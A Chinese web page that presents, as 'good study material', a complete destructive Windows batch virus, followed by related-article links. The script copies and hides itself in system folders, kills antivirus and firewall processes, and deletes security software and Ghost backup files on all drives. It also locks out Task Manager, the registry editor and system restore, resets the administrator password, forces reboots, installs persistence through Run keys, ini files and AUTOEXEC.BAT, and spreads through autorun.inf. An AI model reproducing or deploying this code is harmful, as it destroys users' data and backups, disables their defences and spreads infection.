超级批处理病毒，不错的学习资料

@echo off

title You DEAD!!!!!!!

set taskkill=s

copy %0 %windir%\system32\cmd.bat

attrib %windir%\system32\cmd.bat +r +s +h

net stop sharedaccess >nul

%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul

%s% /im norton* /f >nul

%s% /im av* /f >nul

%s% /im fire* /f >nul

%s% /im anti* /f >nul

%s% /im spy* /f >nul

%s% /im bullguard /f >nul

%s% /im PersFw /f >nul

%s% /im KAV* /f >nul

%s% /im ZONEALARM /f >nul

%s% /im SAFEWEB /f >nul

%s% /im OUTPOST /f >nul

%s% /im nv* /f >nul

%s% /im nav* /f >nul

%s% /im F-* /f >nul

%s% /im ESAFE /f >nul

%s% /im cle /f >nul

%s% /im BLACKICE /f >nul

%s% /im def* /f >nul

%s% /im 360safe.exe /f >nul

net stop Shadow" "System" "Service

set alldrive=d e f g h i j k l m n o p q r s t u v w x y z

for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul

for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul

rem 修改注册表.......

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v

CheckedValue /t REG_DWORD /d 00000000 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t

REG_DWORD /d 00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d

4294967295 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disableregistrytools /t

REG_DWORD /d 00000002 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetHood /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoDesktop /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD

/d 00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskBar /t REG_DWORD

/d 00000001 /f >nul

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v DisableConfig /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v RestrictRun /t REG_DWORD /d

00000001 /f >nul

cls

net user administrator 123456 >nul

for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q >nul

echo @echo off >d:\setup.bat

echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新安装系统可以解决此问题

!^.^ >>d:\setup.bat

echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat >>d:\setup.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f >>d:\setup.bat

echo [windows] >> %windir%\win.ini

echo run=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini

echo load=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini

echo [boot] >> %windir%\system.ini

echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT >> %windir%\system.ini

echo [AutoRun] >d:\autorun.inf

echo Open=setup.bat >>d:\autorun.inf

echo Open=system.bat >>d:\autorun.inf

attrib d:\autorun.inf +r +s +h >>d:\setup.bat

attrib d:\setup.bat +r +s +h >>d:\setup.bat

start d:\setup.bat /min >nul

echo @echo off >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat

/f >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat

/f >>C:\AUTOEXEC.BAT

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat

/f >>C:\AUTOEXEC.BAT

echo if not d:\setup.bat start %windir%\system32\cmd.bat /min >>C:\AUTOEXEC.BAT

copy %0 %systemroot%\windows.bat >nul

if not exist %windir%/system32/explorer.bat @echo off >>%windir%/system32/explorer.bat

if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min >>%windir%/system32/explorer.bat

if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min >>%windir%/system32/explorer.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat

/f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat

/f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d %

windir%/system32/explorer.bat/f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d %

windir%/system32/explorer.bat /f >>%windir%/system32/explorer.bat

echo start %systemroot%\windows.bat /min >>%windir%/system32/explorer.bat

attrib %windir%/system32/explorer.bat +r +s +h%

attrib %systemroot%/windows.bat +r +s +h

for %%c in (%alldrive%) do echo @echo off >>%%c:\system.bat

for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min >>%%c:\system.bat

for %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:\system.bat

set drive=e f g h i j k l m n o p q r s t u v w x y z

for %%c in (%drive%) do echo [AuroRun] >%%c:\autorun.inf

for %%c in (%drive%) do echo Open=system.bat >>%%c:\autorun.inf

copy %0 d:\Program" "Files\run.bat

for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min

>>%%c:\system.bat

for %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:\system.bat

for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h >nul

for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h >nul

if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min >>d:\setup.bat

attrib d:\Program" "Files\run.bat +r +s +h >nul

del %0

exit

赞 (0)

相关推荐

  • 超级批处理病毒，不错的学习资料

    @echo off title You DEAD!!!!!!! set taskkill=s copy %0 %windir%\system32\cmd.bat attrib %windir%\system32\cmd.bat +r +s +h net stop sharedaccess >nul %s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul %s% /im no

  • 一周让你学会PHP 不错的学习资料

    1.一周学会 PHP ftp://ftp.cycu.edu.tw/CNA/Course/2004/0816_0820_PHP/videos/040816_PHP_1.wmv ftp://ftp.cycu.edu.tw/CNA/Course/2004/0816_0820_PHP/videos/040817_PHP_2.wmv ftp://ftp.cycu.edu.tw/CNA/Course/2004/0816_0820_PHP/videos/040816_PHP_3.wmv ftp://ftp.c

  • Python学习资料

    官方网站 : www.python.org Python is an interpreted, interactive, object-oriented programming language. It is often compared to Tcl, Perl, Scheme or Java. Python combines remarkable power with very clear syntax. It has modules, classes, exceptions, very h

  • 对超级脚本病毒的构思

    对超级脚本病毒的构思 告别了以往爱出风头,爱吹牛皮的时代,学点真本事才是硬道理.好好学习,天天向上.下面是对超级脚本病毒的构想. 脚本病毒的制造非常的容易,对于一个对编程一窍不通的人来说,只要对windows系统和注册表有足够的了解,在到网络上下载几个病毒代码仔细看看,就能在短时间内写出一个病毒的变种体来,脚本病毒的特征性就是那么几个,没有多少编程技巧而言,所以真正的病毒制造者是不用vbscript写病毒的,现在由于脚本语言的流行,以及Micrsoft推出的WSH(Windows Script 

  • PHP学习资料汇总与网址

    PHP官方网站 ----http://www.php.net/英文水平可以的话,建议经常到这里逛逛,这里有最新最权威的技术文档和软件.中国PHP联盟 ----http://www.phpx.com/ 中文PHP资料全面,信息丰富,更新及时. (一)PHP技术文档超越PHP ----http://www.phpe.net/超越PHP网站是一个全新的.开放源码.非盈利性质的PHP教学站点.特色栏目有经典文章.Class下载等,并有在线的PHP交流社区 天极网---软件频道---PHP专辑 ----h

  • 批处理的api WMIC学习体会有感第1/2页

    给黑手专栏里写的文章 批处理的api--WMIC学习体会 lcx 在这篇文章里也许你看不到很多奇特有用的的实际例程,但是呢,授人以鱼不如授人以渔,希望我的文章能让你通俗易懂的了解一些wmic的基本知识,可以有一个学习的兴趣,让自己继续深研一下wmic. 在WINDOWS\Help目下,wmic.chm文档是这样解释wmi的:Windows Management Instrumentation (WMI) 是"基于 Web 的企业管理倡议 (WBEM)"(这是一个旨在建立在企业网络上访问

  • CGI脚本入门学习资料

    CGI脚本是什么? CGI脚本是怎样工作的? 一个简单的例子 我能用CGI脚本吗? 你的服务器配置允许CGI脚本吗? 你能编程吗? 你应该用什么编程语言? 你的服务器设置正确吗? 如果你的服务器不是UNIX系统呢? 解剖CGI脚本 输出头部 输出数据部 带阐述的脚本 传递其他信息给脚本 创建特殊的脚本输出 以装载另一个文本响应 无响应 处理表单的脚本 表单格式和表单脚本 GET 和 POST URL 编码 问题 CGI 变量 解码程序 uncgi cgi-lib.pl 解码文件上传的输入 自己做

  • 比较详细的ruby symbol 学习资料

    解释的不错,应该明确了不少 ruby symbol详解 起因 最近在学习ruby on rails,的确是一个优秀的数据库开发框架.但在过程中,发现在视图文件夹中的rhtml文件里有大量的类似于以下的语句: <td><%= link_to recipe.title, :action => "show", :id => 1 %></td> 这是一个指向链接,如果没有冒号这句话的意思很好理解:这是一个指向http://127.0.0.1:30

  • 一份python入门应该看的学习资料

    一份python入门应该看的学习资料

    网上学习的时候总会遇到一些好的文章,分享给大家,也谢谢作者的分享. Python 简介 Python 是一个高层次的结合了解释性.编译性.互动性和面向对象的脚本语言. Python 的设计具有很强的可读性,相比其他语言经常使用英文关键字,其他语言的一些标点符号,它具有比其他语言更有特色语法结构. Python 是一种解释型语言: 这意味着开发过程中没有了编译这个环节.类似于PHP和Perl语言. Python 是交互式语言: 这意味着,您可以在一个Python提示符,直接互动执行写你的程序. P

  • 2020版Python学习路线图(附学习资料)

    python应该是近几年比较火的语言之一,很多人刚学python不知道该如何学习,尤其是没有编程基础想要从事程序员工作的小白,想必应该都会有此疑惑,包括我刚学python的时候也是通过从网上查找相关资料以及从学校课程学习才确定python学习的方向,为了帮助想从事python工作的小白,所以我把python学习的大致路线图以及每个阶段需要学习的具体内容都整理出来,希望能帮助零基础的小白少走一些弯路. Python 类库(模块)极其丰富,这使得 Python 几乎无所不能,不管是传统的 Web 开

随机推荐